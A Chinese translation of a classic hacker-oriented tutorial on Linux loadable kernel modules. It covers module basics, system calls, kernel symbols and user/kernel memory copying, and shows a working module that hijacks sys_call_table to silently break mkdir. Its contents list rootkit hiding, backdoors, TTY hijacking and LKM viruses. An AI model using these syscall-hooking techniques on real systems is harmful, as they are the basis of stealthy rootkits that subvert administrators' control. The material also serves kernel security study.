Linux可加载内核模块(LKM)
linux-dash
A beautiful web dashboard for Linux
项目地址:https://gitcode.com/gh_mirrors/li/linux-dash
免费下载资源
·
I.基础知识
1.什么是LKM
2.什么是系统调用
3.什么是内核符号表
4.如何进行内核与用户空间内存数据的交换
5.使用用户空间的各种函数方法
6.常用内核空间函数列表
7.什么是内核后台进程
8.创建自己的设备
II.深入探讨
1.如何截获系统调用
2.哪些系统调用应被截获
2.1 寻找重要的系统调用(strace命令方法)
3.迷惑内核系统表
4.针对文件系统的黑客方法
4.1 如何隐藏文件
4.2 如何隐藏文件内容(总体说明)
4.3 如何隐藏文件的特定部分(源语示例)
4.4 如何监视重定向文件操作
4.5 如何避免某一文件的属主问题
4.6 如何使黑客工具目录不可访问
4.7 如何改变CHROOT环境
5.针对进程的黑客方法
5.1如何隐藏某一进程
5.2如何重定向文件的执行
6.针对网络(Socket)的黑客方法
6.1 如何控制Socket操作
7.终端(TTY)的截取方法
8.用LKM编写病毒
8.1 LKM病毒是如何感染文件的(不仅感染模块;源语示例)
8.2 LKM病毒如何协助入侵的
9.使LKM不可见、不可删除
10.其它滥用内核后台进程的方法
11.如何检测自己编写的当前LKM
III.解决办法(用于系统管理员)
1.LKM检测程序的原理与思路
1.1 检测程序示例
1.2 密码保护的creat_module()函数类型程序的实例
2.反LKM传染程序的编写思路
3.使自己的程序不可跟踪(原理)
4.用LKM加固Linux内核
4.1 为何给予仲裁程序执行权?(用LKM实现的Phrack的Route的思路)
4.2 链路修补(用LKM实现的Phrack 的Solar Designer的思路)
4.3 /proc 权限修补(用LKM实现的Phrack的Route的思路)
4.4 securelevel修补(用LKM实现的Phrack的Route的思路)
底层磁盘修补
IV.一些更好的思路(用于黑客)
1.反击管理员的LKM的技巧
2.修补整个内核—或创建黑客操作系统
2.1如何在/dev/kmem下寻找内核符号
2.2无需内核支持的新insmod命令
3.最后几句
内容提要
V.最新特性:内核2.2
1.对LKM编写者来说主要的不同点
VI.后话
1.LKM的背景或如何使系统插件与入侵兼容
2.到其它资源的链接
致谢
附录
A –源代码
a) LKM Infection by Stealthf0rk/SVAT
b) Heroin - the classic one by Runar Jensen
c) LKM Hider / Socket Backdoor by plaguez
d) LKM TTY hijacking by halflife
e) AFHRM - the monitor tool by Michal Zalewski
f) CHROOT module trick by FLoW/HISPAHACK
g) Kernel Memory Patching by ?
h) Module insertion without native support by Silvio Cesare
导 言
用Linux构造服务器环境越来越流行,所以入侵Linux也日益增多。攻击Linux的最高技术
之一就是使用内核代码。这种内核代码可据其特性称为可加载内核模块(LKM),是一段
运行在内核空间的代码,这就允许我们访问操作系统最敏感的部分。以前也有一些非常出色
的介绍LKM入侵的文献(例如Phrack),他们介绍新的思路、新的方法并完成一个黑客梦
寐以求的功能的LKM,并且1998年一些公开的讨论(新闻组、邮件列表)也是非常热门的。
为什么我又写一遍关于LKM的文字呢,有几个原因:
以前的文献对内核初学者没有给出好的解释;本文有比较大的篇幅帮助初学者去理解概念。
我见过很多利用漏洞或窃听程序却对这些东西如何工作一无所知的人。我在文中包括了大量
加了详细注释的源代码,主要也是为了帮助那些知道网络入侵远远不同于网络破坏的初学者。
所有公开的文献都是关于某个主题的,没有专门为黑客写的关于LKM的完备的指导。本文
将涵盖内核滥用的几乎所有方面(甚至关于病毒)
本文是从黑客和病毒程序编写者的角度出发的,但对系统管理员和一般内核开发人员改进工
作也有帮助。
早期的文献向我们提供了LKM滥用的主要优点和方法,但没有什么是大家没听说过的。本
文将提供一些新的思路。(没有完全都是新的东西,但有些东西会对我们有所帮助)
本文将提供一些概念,用简单的方法防止LKM攻击。
本文还将说明如何运用一些方法打破LKM保护,如实时代码修补。
请记住,新思路的实现是用源语模块实现的(只用于演示),如果要实际使用就须改写。
本文的写作动机是给大家一篇涵盖LKM所有问题的文章。在附录A给出了一些已有的LKM
插件和它们工作的简单描述以及如何使用它们。
整个文章(第五部分除外)是基于Linux2.0.x机器的(x86)。本人测试了所有程序和代码
段。为了使用本文的大部分程序例子,Linux系统必须支持LKM。只有第四部分提供的源
代码无须本地LKM支持。本文中的大部分思路在2.2.x版本的系统上也能用(也许需要一
些轻微改动);但想到2.2.x内核刚刚发布(1/99)并且大部分发行商一直使用2.0.x
(Redhat,SuSE,Caldera,...)。要到四月一些发行商如SuSE才会发行它们的2.2.x版内核,所
以目前还无须知道如何入侵2.2.x内核。好的系统管理员为了更稳定的2.2.x内核也等了好几
个月了。[注:好多系统不需要2.2.x内核所以还会沿用2.0.x]
本文有专门一节帮助系统管理员针对LKM提高系统安全。读者(黑客)也要阅读此节,你
必须懂得系统管理员懂的所有知识,甚至比他懂的更多。你从此节也会获得一些思路,帮助
自己编写更高级的‘黑客—LKM’。请通读全文。
请记住:本文仅用于教育目的。如利用本文的知识从事非法活动,后果自负。
第一部分 基础知识
1、什么是LKM
LKM是Linux内核为了扩展其功能所使用的可加载内核模块。LKM的优点:动态加载,无
须重新实现整个内核。基于此特性,LKM常被用作特殊设备的驱动程序(或文件系统),
如声卡的驱动程序等等。
所有的LKM包含两个最基本的函数(最小):
int init_module(void) /*用于初始化所有成员*/
{
...
}
void cleanup_module(void) /*用于退出清理*/
{
...
}
加载一个模块使用如下命令,一般只有root有此权限:
#insomod module.o
此命令强制系统如下工作:
加载目标文件(此处为module.o)
调用create_module系统调用(关于系统调用见I.2)重新分配内存
内核符号用系统调用get_kernel_syms解析尚未解析的引用
然后系统调用init_module初始化LKMà 即执行int init_module(void)函数
内核符号将在I.3中解释(内核符号表)。
下面我们写出第一个小LKM展示一下它的基本工作原理:
#define MODULE
#include < LINUX module.h >
int init_module(void)
{
printk("<1>Hello World\n");
return 0;
}
void cleanup_module(void)
{
printk("<1>Bye, Bye");
}
你可能想知道为什么用printk(...)而不是用printf(...),是的,内核编程大体上是不同于用户空
间编程的。你只有一个有限的命令集(见I.6)。用这些命令你不能做太多事,所以你将学
到如何利用你所知的用户空间应用的大量函数去帮助你攻击内核。耐心一点,我们不得不做
一些以前(没听过,没做过...)的一些事。
上例如下编译:
#gcc –c –O3 helloworld.c
#insmod helloworld.o
好,我们的模块被加载了,并显示了最著名的文字。现在你可以用一些命令来告诉你你的
LKM确实存在于内核空间了。
#lsmod
Module Pages Used by
helloworld 1 0
此命令从/proc/modules下读取信息,显示当前哪些模块被加载。’Pages’是内存信息(此模块
用了多少页);’Used by’栏目告之此模块被系统用了多少次(引用次数)。只有此栏目数值
为0时,才能删除模块;检查此数值后,可用如下命令删除模块:
#rmmod helloworld
好,这是我们朝着滥用LKM走的第一小步(非常小)。本人经常把LKM同以前DOS下内
存驻留程序进行对比(我知道,它们有很多不同),它们都是我们驻留在内存中截获每个我
们想要的中断的一个门户。微软的Win9x有种程序叫VxD的,也同LKM相似(当然也有
很多不同)。这些驻留程序最令人感兴趣的部分是具有挂起系统函数的功能,这些系统函数
在Linux世界里称为系统调用。
2、什么是系统调用
我希望你能明白,每个操作系统都有一些嵌在内核中的函数,这些函数可以被系统的每个操
作使用。
这些Linux使用的函数称为系统调用。它们对应用户和内核之间的转换。在用户空间打开一
个文件对应内核空间的sys_open系统调用。要得到自己系统的完全的系统调用列表可以看
/usr/include/sys/syscall.h文件。下面是我机器上的syscall.h列表:
#ifndef _SYS_SYSCALL_H
#define _SYS_SYSCALL_H
#define SYS_setup 0 /* 只用于初始化,使系统运行 。*/
#define SYS_exit 1
#define SYS_fork 2
#define SYS_read 3
#define SYS_write 4
#define SYS_open 5
#define SYS_close 6
#define SYS_waitpid 7
#define SYS_creat 8
#define SYS_link 9
#define SYS_unlink 10
#define SYS_execve 11
#define SYS_chdir 12
#define SYS_time 13
#define SYS_prev_mknod 14
#define SYS_chmod 15
#define SYS_chown 16
#define SYS_break 17
#define SYS_oldstat 18
#define SYS_lseek 19
#define SYS_getpid 20
#define SYS_mount 21
#define SYS_umount 22
#define SYS_setuid 23
#define SYS_getuid 24
#define SYS_stime 25
#define SYS_ptrace 26
#define SYS_alarm 27
#define SYS_oldfstat 28
#define SYS_pause 29
#define SYS_utime 30
#define SYS_stty 31
#define SYS_gtty 32
#define SYS_access 33
#define SYS_nice 34
#define SYS_ftime 35
#define SYS_sync 36
#define SYS_kill 37
#define SYS_rename 38
#define SYS_mkdir 39
#define SYS_rmdir 40
#define SYS_dup 41
#define SYS_pipe 42
#define SYS_times 43
#define SYS_prof 44
#define SYS_brk 45
#define SYS_setgid 46
#define SYS_getgid 47
#define SYS_signal 48
#define SYS_geteuid 49
#define SYS_getegid 50
#define SYS_acct 51
#define SYS_phys 52
#define SYS_lock 53
#define SYS_ioctl 54
#define SYS_fcntl 55
#define SYS_mpx 56
#define SYS_setpgid 57
#define SYS_ulimit 58
#define SYS_oldolduname 59
#define SYS_umask 60
#define SYS_chroot 61
#define SYS_prev_ustat 62
#define SYS_dup2 63
#define SYS_getppid 64
#define SYS_getpgrp 65
#define SYS_setsid 66
#define SYS_sigaction 67
#define SYS_siggetmask 68
#define SYS_sigsetmask 69
#define SYS_setreuid 70
#define SYS_setregid 71
#define SYS_sigsuspend 72
#define SYS_sigpending 73
#define SYS_sethostname 74
#define SYS_setrlimit 75
#define SYS_getrlimit 76
#define SYS_getrusage 77
#define SYS_gettimeofday 78
#define SYS_settimeofday 79
#define SYS_getgroups 80
#define SYS_setgroups 81
#define SYS_select 82
#define SYS_symlink 83
#define SYS_oldlstat 84
#define SYS_readlink 85
#define SYS_uselib 86
#define SYS_swapon 87
#define SYS_reboot 88
#define SYS_readdir 89
#define SYS_mmap 90
#define SYS_munmap 91
#define SYS_truncate 92
#define SYS_ftruncate 93
#define SYS_fchmod 94
#define SYS_fchown 95
#define SYS_getpriority 96
#define SYS_setpriority 97
#define SYS_profil 98
#define SYS_statfs 99
#define SYS_fstatfs 100
#define SYS_ioperm 101
#define SYS_socketcall 102
#define SYS_klog 103
#define SYS_setitimer 104
#define SYS_getitimer 105
#define SYS_prev_stat 106
#define SYS_prev_lstat 107
#define SYS_prev_fstat 108
#define SYS_olduname 109
#define SYS_iopl 110
#define SYS_vhangup 111
#define SYS_idle 112
#define SYS_vm86old 113
#define SYS_wait4 114
#define SYS_swapoff 115
#define SYS_sysinfo 116
#define SYS_ipc 117
#define SYS_fsync 118
#define SYS_sigreturn 119
#define SYS_clone 120
#define SYS_setdomainname 121
#define SYS_uname 122
#define SYS_modify_ldt 123
#define SYS_adjtimex 124
#define SYS_mprotect 125
#define SYS_sigprocmask 126
#define SYS_create_module 127
#define SYS_init_module 128
#define SYS_delete_module 129
#define SYS_get_kernel_syms 130
#define SYS_quotactl 131
#define SYS_getpgid 132
#define SYS_fchdir 133
#define SYS_bdflush 134
#define SYS_sysfs 135
#define SYS_personality 136
#define SYS_afs_syscall 137 /* 用于Andrew文件系统的系统调用。*/
#define SYS_setfsuid 138
#define SYS_setfsgid 139
#define SYS__llseek 140
#define SYS_getdents 141
#define SYS__newselect 142
#define SYS_flock 143
#define SYS_syscall_flock SYS_flock
#define SYS_msync 144
#define SYS_readv 145
#define SYS_syscall_readv SYS_readv
#define SYS_writev 146
#define SYS_syscall_writev SYS_writev
#define SYS_getsid 147
#define SYS_fdatasync 148
#define SYS__sysctl 149
#define SYS_mlock 150
#define SYS_munlock 151
#define SYS_mlockall 152
#define SYS_munlockall 153
#define SYS_sched_setparam 154
#define SYS_sched_getparam 155
#define SYS_sched_setscheduler 156
#define SYS_sched_getscheduler 157
#define SYS_sched_yield 158
#define SYS_sched_get_priority_max 159
#define SYS_sched_get_priority_min 160
#define SYS_sched_rr_get_interval 161
#define SYS_nanosleep 162
#define SYS_mremap 163
#define SYS_setresuid 164
#define SYS_getresuid 165
#define SYS_vm86 166
#define SYS_query_module 167
#define SYS_poll 168
#define SYS_syscall_poll SYS_poll
#endif /* */
每个系统调用被定义了一个数字(见上列表),实际上是用数字做系统调用。
内核用中断0x80管理所有的系统调用。系统调用号和其它参数被移入某个寄存器(例如,
将系统调用号放入eax)。Sys_call_table[]作为内核中的一个结构数组,系统调用号此数组
的索引,这个结构数组把系统调用号映像到所需服务函数。
好,这些知识足够继续读下去了,下表列出了最让人感兴趣的系统调用,附有简短说明。相
信我,如果你想编写真正有用的LKM,你必须确切弄懂这些系统调用如何工作的。
系统调用
描述
int sys_brk(unsigned long new_brk);
改变数据段的大小à 此系统调用将在I.4中讨论
int sys_fork(struct pt_regs regs);
对应用户空间著名函数fork()的系统调用
int sys_getuid ()
int sys_setuid (uid_t uid)
...
管理UID 等的系统调用
int sys_get_kernel_sysms(struct kernel_sym *table)
访问内核系统表的系统调用(见I.3)
int sys_sethostname (char *name, int len);
int sys_gethostname (char *name, int len);
sys_sethostname 用于设置主机名,sys_gethostname 用于取回主机名
int sys_chdir (const char *path);
int sys_fchdir (unsigned int fd);
两个函数都用于设置当前路径(cd ...)
int sys_chmod (const char *filename, mode_t mode);
int sys_chown (const char *filename, mode_t mode);
int sys_fchmod (unsigned int fildes, mode_t mode);
int sys_fchown (unsigned int fildes, mode_t mode);
用来管理权限等的一些函数
int sys_chroot (const char *filename);
为申请调用的进程设置根路径
int sys_execve (struct pt_regs regs);
重要的系统调用,用来执行文件(pt_regs是寄存器堆栈)
long sys_fcntl (unsigned int fd, unsigned int cmd, unsigned long arg);
改变fd(打开文件的描述符)的特征
int sys_link (const char *oldname, const char *newname);
int sym_link (const char *oldname, const char *newname);
int sys_unlink (const char *name);
管理硬/软链接的系统调用
int sys_rename (const char *oldname, const char *newname);
改文件名
int sys_rmdir (const char* name);
int sys_mkdir (const *char filename, int mode);
创建和删除目录
int sys_open (const char *filename, int mode);
int sys_close (unsigned int fd);
打开相关文件(也可创建),关闭文件
int sys_read (unsigned int fd, char *buf, unsigned int count);
int sys_write (unsigned int fd, char *buf, unsigned int count);
读写文件的系统调用
int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);
取文件列表的系统调用(ls等命令)
int sys_readlink (const char *path, char *buf, int bufsize);
读符号链接
int sys_selectt (int n, fd_set *inp, fd_set *outp, fd_set *exp, struct timeval *tvp);
复杂I/O操作
sys_socketcall (int call, unsigned long args);
socket 函数
unsigned long sys_create_module (char *name, unsigned long size);
int sys_delete_module (char *name);
int sys_query_module (const char *name, int which, void *buf, size_t bufsize, size_t *ret);
用于加载/卸载及查询LKM
我认为对任何入侵这些都是最重要的系统调用,当然对你作为超级用户的系统可能还需要一
些更特殊的。但一般的黑客更可能使用上面列出的。在第二部分你会学到怎样使用对你有用
的系统调用。
3.什么是内核符号表
好,我们理解了模块和系统调用最基本的概念。但还有另外一个我们需要理解的重点—内核
符号表。看一下/proc/ksyms,这个文件的每一项代表一个引出的(公共)内核符号,可被我
们的LKM访问。再仔细看看这个文件,你会发现很多有趣的东西。这个文件真的很有趣,
可以帮助我们看一看我们的LKM能用哪些内核符号;但有个问题,在我们的LKM(象函
数一样)中使用的每个符号也被引出为公共符号,也列在此文件中,所以有经验的系统管理
员能发现我们的小LKM并杀掉它。
有很多种方法可防止管理员看到我们的LKM,看节II。在第二节中提到的方法可以被称为
欺骗(’Hack’),但你读第二节的内容时,你看不到“把LKM符号排除在/proc/ksyms之外”
的字样。;在第二节中没提到这个问题的原因如下:
你并不需要把你的模块符号排除在/proc/ksyms之外的技巧。LKM的开发人员可用如下的常
规代码限制他们模块的输出符号:
static struct symbol_table module_syms= { /*定义自己的符号表*/
#include < LINUX symtab_begin.h >/*我们想要输出的符号,我们真想么?*/
...
};
register_symtab(&module_syms); /*做实际的注册工作*/
正如我所说,我们不想输出任何符号为公共符号,所以我们用如下构造函数:
register_symtab(NULL);
这一行必须插入到init_module()函数中,记住这一点!
4.如何进行内核与用户空间内存数据的交换
到目前为止本文非常基本非常容易。现在我们来点难的(但提高不多)。在内核空间编程有
很多好处,但也有很多不足。系统调用从用户空间获得参数(系统调用在一些封装程序如libc
中实现),但我们的LKM运行在内核空间。在节II中你会看到检查某个系统调用的参数非
常重要,因为要根据参数决定对策。但我们怎么才能在工作于内核空间的模块中访问用户空
间中的参数呢?
解决办法:我们必须进行传送。
对非利用内核入侵的黑客来说有点奇怪,但也非常容易。看下面的系统调用:
int sys_chdir (const char *path)
想象一下系统调用它,我们截获了调用(将在节II中讲到)。我们想检查一下用户想设置
的路径,所以我们必须访问char *path。如果你试着象下面那样直接访问path变量
printk("<1>%s\n", path);
就一定会出问题。
记住你是在内核空间,你不能轻易的读用户空间内存。在Phrack52你可得到plaguez的解决
方法,专用于传送字符串。他用内核模式函数(宏)取回用户空间内存中的字节。
#include < ASM segment.h >
get_user(pointer);
给这个函数一个指针指向*path就可帮助我们从用户空间取到想要的东西到内核空间。看一
下plaguez写的在用户空间到内核空间移动字符串的的程序:
char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp = src;
int compt = 0;
do {
dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != '\0') && (compt != n));
return dest;
}
如果我们想转换*path变量,我们可用如下内核代码:
char *kernel_space_path;
kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /* 在内核空间中分配内存*/
(void) strncpy_fromfs(test, path, 20); /*调用plaguez写的函数*/
printk("<1>%s\n", kernel_space_path); /*现在我们可以使用任何想要的数据了*/
kfree(test); /*想着释放内存*/
上面的代码工作的非常好。一般性的传送太复杂;plaguez只用它来传送字符串(函数只用
于字符串拷贝)。一般数据的传送可用如下函数简单实现:
#include < ASM segment.h >
void memcpy_fromfs(void *to, const void *from, unsigned long count);
两个函数显而易见基于同类命令,但第二个函数同plaguez新定义的函数几乎一样。我推荐
用memcpy_fromfs(...)做一般数据传送,plaguez的前一个用于字符串拷贝。
现在我们知道了如何把用户空间的内存转换到内核空间。但反向怎么办?这有点难,因为我
们不容易在内核空间的位置定位用户空间。也许我们可以用如下方式处理转换:
#include < ASM segment.h >
void memcpy_tofs(void *to, const void *from, unsigned long count);
但如何在用户空间中定位*to指针呢?plaguez在Phrack一文中给出了最好的解决方法:
/*我们需要brk系统调用*/
static inline _syscall1(int, brk, void *, end_data_segment);
...
int ret, tmp;
char *truc = OLDEXEC;
char *nouveau = NEWEXEC;
unsigned long mmm;
mmm = current->mm->brk; /*定位当前进程数据段大小*/
ret = brk((void ) (mmm + 256)); /*利用系统调用brk为当前进程增加内存256个字节*/
if (ret < 0)
return ret; /*分配不成功*/
memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
这里使用了一个非常高明的技巧。Current是指向当前进程任务结构的指针;mm是指向对
应进程内存管理的数据结构mm_struct的指针。通过用brk系统调用作用于current->mm->brk,
我们可以增加未用数据段空间大小,同时我们知道分配内存就是处理数据段,所以通过增加
未用空间大小,我们就为当前进程分配了一些内存。这块内存可用于将内核空间内存拷贝到
用户空间(当前进程)。
你可能想知道上面代码中第一行是做什么用的。这一行帮助我们使用在内核空间象调用函数
一样使用用户空间。所有的用户空间函数对应一个a_syscall(...)形式的宏,所以我们可以构
造一个系统调用宏对应用户空间的某个函数(通过系统调用对应);这里是针对brk(..)的。
5.使用用户空间的各种函数方法
你看到的在I.4中我们用一系统调用宏来构造我们自己的brk调用,它很象我们所知的用户
空间的brk。事实是用户空间的库函数(并非所有的)是通过这样的系统调用宏来实现的。
下面的代码展示了用来构造我们在I.4中用的brk(...)函数的_syscall(...)宏(取自/asm/unistd.h)。
#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
if (__res >= 0) \
return (type) __res; \
errno = -__res; \
return -1; \
}
你无须了解这段代码的全部功能,它只是用_syscall的参数作为参数调用中断0x80(见I.2)。
name是我们所需的系统调用(name被扩展为__NR_name,在/asm/unistd.h中定义)。用这
种办法我们实现了brk函数。其它带有不同个数参数的函数由其它宏实现(_syscallX,其中X
代表参数个数)。
我个人用其它方法实现函数;见下例:
int (*open)(char *, int, int); /*声明原型*/
open = sys_call_table[SYS_open]; /*你也可以用__NR_open*/
用这种方法你无须用任何系统调用宏,你只用来自sys_call_table的函数指针就可以了。我
曾在网上发现SVAT的著名LKM感染程序就是用的这种象函数一样构造用户空间的方法。
我认为这是较好的解决办法,但你要自己判断和测试。
要注意为这些系统调用提供参数的时候,是来自用户空间而非你的内核空间。读I.4找把内
核空间的数据传递到用户空间内存中的方法。
一个非常简单的做这些的方法是处理寄存器。你必须知道Linux用段选择器去区分内核空间、
用户空间等等。从用户空间传给系统调用的参数位于数据段选择器限定的某个位置。[我在
I.4中没提到这些,因为它更适合本节。]
从asm/segment.h知DS可用get_ds()取回。所以系统调用中使用的参数数据可在内核空间中
访问,只要我们把内核空间所用的段选择器的DS值设为用户段的值就可以了。这可用
set_fs(...)实现。但要小心,你必须访问完系统调用的参数之后恢复FS。下面我们看一段有
用的代码:
例如filename在内核空间的我们刚建立的一个字符串,
unsigned long old_fs_value=get_fs();
set_fs(get_ds); /*此后我们可以访问用户空间中数据*/
open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
set_fs(old_fs_value); /*恢复fs...*/
我认为这是最简单/最快的解决问题的方法,但还需你自己测试。记住我在这里举的函数例
子(brk,open)都是通过一个系统调用实现的。但也有很多用户空间函数是集成在一个系
统调用里面的。看一下重要系统调用列表(I.2);例如,sys_socket调用实现了所有关于socket
的功能(创建、关闭、发送、接收...)。所以构造自己的函数是要小心,最好看一下内核源
码。
6.常用内核空间函数列表
本文的开始我介绍了printk(...)函数,它是所有人都可在内核空间使用的,所以叫内核函数。
内核开发人员需要很多通常只有通过库函数才能完成的复杂函数,这些函数被编制成内核函
数。下面列出经常使用的最重要的内核函数:
函数/宏
描述
int sprintf (char *buf, const char *fmt, ...);
int vsprintf (char *buf, const char *fmt, va_list args);
接收数据到字符串中的函数
printk (...)
同用户空间的printf函数
void *memset (void *s, char c, size_t count);
void *memcpy (void *dest, const void *src, size_t count);
char *bcopy (const char *src, char *dest, int count);
void *memmove (void *dest, const void *src, size_t count);
int memcmp (const void *cs, const void *ct, size_t count);
void *memscan (void *addr, unsigned char c, size_t size);
内存函数
int register_symtab (struct symbol_table *intab);
见I.1
char *strcpy (char *dest, const char *src);
char *strncpy (char *dest, const char *src, size_t count);
char *strcat (char *dest, const char *src);
char *strncat (char *dest, const char *src, size_t count);
int strcmp (const char *cs, const char *ct);
int strncmp (const char *cs,const char *ct, size_t count);
char *strchr (const char *s, char c);
size_t strlen (const char *s);size_t strnlen (const char *s, size_t count);
size_t strspn (const char *s, const char *accept);
char *strpbrk (const char *cs, const char *ct);
char *strtok (char *s, const char *ct);
字符串比较函数等等
unsigned long simple_strtoul (const char *cp, char **endp, unsigned int base);
把字符串转换成数字
get_user_byte (addr);
put_user_byte (x, addr);
get_user_word (addr);
put_user_word (x, addr);
get_user_long (addr);
put_user_long (x, addr);
访问用户内存的函数
suser();
fsuser();
检测超级用户权限
int register_chrdev (unsigned int major, const char *name, struct file_o perations *fops);
int unregister_chrdev (unsigned int major, const char *name);
int register_blkdev (unsigned int major, const char *name, struct file_o perations *fops);
int unregister_blkdev (unsigned int major, const char *name);
登记设备驱动器的函数
..._chrdev -> 字符设备
..._blkdev -> 块设备
请记住,这些函数中有的也可用I.5中提到的方法实现。当然你也要明白,如果内核已经提
供了这些,自己构造就意义不大了。后面你将看到这些函数(尤其是字符串比较)对实现我
们的目的非常重要。
7.什么是内核后台进程
最后我们基本到了基础知识部分的结尾,现在我解释一下内核后台进程的运行情形
(/sbin/kerneld)。从名字可以看到这是一个用户空间中等待某个动作的进程。首先应该知
道,为了应用kerneld的特点,必须在建立内核时激活kerneld选项。Kerneld按如下方式工
作:如果内核想访问某项资源(当然在内核空间),而资源目前没有,它并不产生错误,而
是向Kerneld请求该项资源。如果kerneld能够提供资源,就加载所需的LKM,内核继续运
行。使用这种模式可以仅当LKM真正需要/不需要时被加载或卸载。很明显这些工作在用户
空间和内核空间都有。
Kerneld存在于用户空间。如果内核请求一个新模块,这个后台进程将收到一个内核发来的
通知哪个模块被加载的字符串。内核可能发送一个一般的名字象eth0(而非对象文件),这
时系统需要查找/etc/modules.conf中的别名行。这些行把系统所需的LKM同一般名称匹配
起来。
下行说明eth0对应DEC的Tulip 驱动程序LKM
# /etc/modules.conf # 或/etc/conf.modules – 反过来
alias eth0 tulip
以上是对应用户空间由kerneld后台进程使用的。内核空间主要由4个函数对应。这些函数
都基于对kernekl_send的调用。确切的通过kerneld_send调用这些函数的方法可参见
linux/kerneld.h。下表列出上面提到的四个函数:
函数
描述
int sprintf (char *buf, const char *fmt, ...);
int vsprintf (char *buf, const char *fmt, va_list args);
用于把输入数据放入字符串中的函数
int request_module (const char *name);
告知kerneld内核请求某个模块(给出名称或类ID/名称)
int release_module (const char* name, int waitflag);
卸载模块
int delayed_release_module (const char *name);
延迟卸载
int cancel_release_module (const char *name);
取消对delayed_release_module 的调用
注:内核2.2版用其它模式请求模块。参见第五部分。
8.建立你自己的设备
附录A介绍了TTY截取功能,它用一设备记录结果。所以我们先看一个设备驱动程序的很
基本的例子。看如下代码(这是一个最基本的驱动程序,我主要写来演示,它几乎什么也不
做):
#define MODULE
#define __KERNEL__
#include < LINUX module.h >
#include < LINUX kernel.h >
#include < ASM unistd.h>
#include < SYS syscall.h>
#include < SYS types.h>
#include < ASM fcntl.h>
#include < ASM errno.h>
#include < LINUX types.h>
#include < LINUX dirent.h>
#include < SYS mman.h>
#include < LINUX string.h>
#include < LINUX fs.h>
#include < LINUX malloc.h>
/*只用于演示*/
static int driver_open(struct inode *i, struct file *f)
{
printk("<1>Open Function\n");
return 0;
}
/*登记我们的驱动程序提供的所有函数*/
static struct file_operations fops = {
NULL, /*lseek*/
NULL, /*read*/
NULL, /*write*/
NULL, /*readdir*/
NULL, /*select*/
NULL, /*ioctl*/
NULL, /*mmap*/
driver_open, /*open, 看一下我们提供的open函数*/
NULL, /*release*/
NULL /*fsync...*/
};
int init_module(void)
{
/*登记驱动程序,符号为40,名称为driver */
if(register_chrdev(40, "driver", &fops)) return -EIO;
return 0;
}
void cleanup_module(void)
{
/*注销driver*/
unregister_chrdev(40, "driver");
}
最重要的函数是register_chrdev(...),它把我们的驱动程序以主设备号40登记,如果你想访
问此驱动程序,如下操作:
# mknode /dev/driver c 40 0
# insmod driver.o
然后你就可以访问设备了(但我因为没时间没实现任何功能)。File_operations结构指明我
们的驱动程序将提供给系统的所有函数(操作)。正如你所见我仅仅实现了最基本的无用函
数输出一点东西。显然你可以用如上方法简单的实现你自己的设备。做一点练习。如果你想
记录数据(如击键),你可以在驱动程序中建立一个缓冲区,然后通过设备接口将其内容输
出。
第二部分 深入探讨
1、如何截获系统调用
现在我们开始滥用LKM模式。一般LKM用于扩展内核(尤其硬件驱动程序)。我们的攻
击‘hack’要做点儿不同的,首先截获系统调用然后修改它们,以便针对某个命令改变系统的
响应方式。下面的模块使修改过的系统上的用户不能创建目录。这只是我们将如何工作的一
个小小演示:
#define MODULE
#define __KERNEL__
#include < LINUX module.h>
#include < LINUX kernel.h>
#include < ASM unistd.h>
#include < SYS syscall.h>
#include < SYS types.h>
#include < ASM fcntl.h>
#include < ASM errno.h>
#include < LINUX types.h>
#include < LINUX dirent.h>
#include < SYS mman.h>
#include < LINUX string.h>
#include < LINUX fs.h>
#include < LINUX malloc.h>
extern void* sys_call_table[]; /*sys_call_table 被引出,所以我们可访问它*/
int (*orig_mkdir)(const char *path); /*未改前的系统调用*/
int hacked_mkdir(const char *path)
{
return 0; /*一切正常,但新的系统调用什么也不做*/
}
int init_module(void) /*模块初始化*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void) /*模块卸载*/
{
sys_call_table[SYS_mkdir]=orig_mkdir; /*把mkdir系统调用恢复*/
}
编译执行这个模块(见I.1),试着建目录,应该不行。因为返值为0(意味着正常)我们
不能获得错误信息。删掉模块后,又可以建目录了。如你所见,要截获内核系统调用,只需
更改sys_call_table(见I.2)中的对应登记项。
截获系统调用的一般方法大致如下列出:
在sys_call_table[]中查找系统调用的登记项(看一下include/sys/syscall.h)
用函数指针把sys_call_table[X]中的原始登记项保存(X代表想截获的系统调用号)
通过设置sys_call_table[X]为所需函数地址,把你自己定义的新的系统调用(伪装过的)地
址保存起来。
你要意识到把原始系统调用的函数指针保存非常有用,因为在你的伪造的函数中要用它来仿
真原始函数。在写‘Hack-LKM’时你要面对的第一个问题就是‘哪个系统调用应被截获’。
2.哪些系统调用应被截获
也许你并非‘内核高手’,不知道所有应用程序或命令可使用的用于用户空间函数的系统调用。
所以我将给你一些找到要控制的系统调用的提示:
a).读源代码。对于象Linux这样的系统,你几乎可以得到用户(管理员)所用的所有程序的
源代码。一旦你找到一些基本函数如dup,open,write...看b)。
b).看一下include/sys/syscall.h(见I.2)试着找出直接对应的系统调用(对于dup可找到
SYS_dup;对于write可找到SYS_write;...)。如果这样不行看c)。
c).一些调用如socket,send,receive,...是通过一个系统调用实现的,正如以前我提过的。在
include文件中找一下相关系统调用。
记住并非所有的C库函数都对应一个系统调用!大多函数根本不同任何系统调用有关系。
有一点经验的黑客会看一下 I.2中的系统调用列表,那里有足够的信息。例如很明显用户
ID管理是通过uid系统调用实现的。如果你想更有把握,你也可以看一下库源代码/内核源
代码。
比较棘手的问题是管理员写自己的应用程序来检查系统的集成性/安全性。这些程序会导致
源代码泄露,我们无法得知这些程序如何工作也不知为了隐藏行迹和工具应截获哪些系统调
用。也有可能管理员引入一个隐藏的LKM作为一个漂亮的象黑客做的一样的系统调用去检
查系统的安全性(管理员经常使用黑客技术保护自己的系统)。所以下一步我们该怎么办?
2.1 寻找重要的系统调用(strace命令方法)
假设你懂用超级管理程序检查系统(可用多种方式做,如截获TTY(见II.9/附录A),一
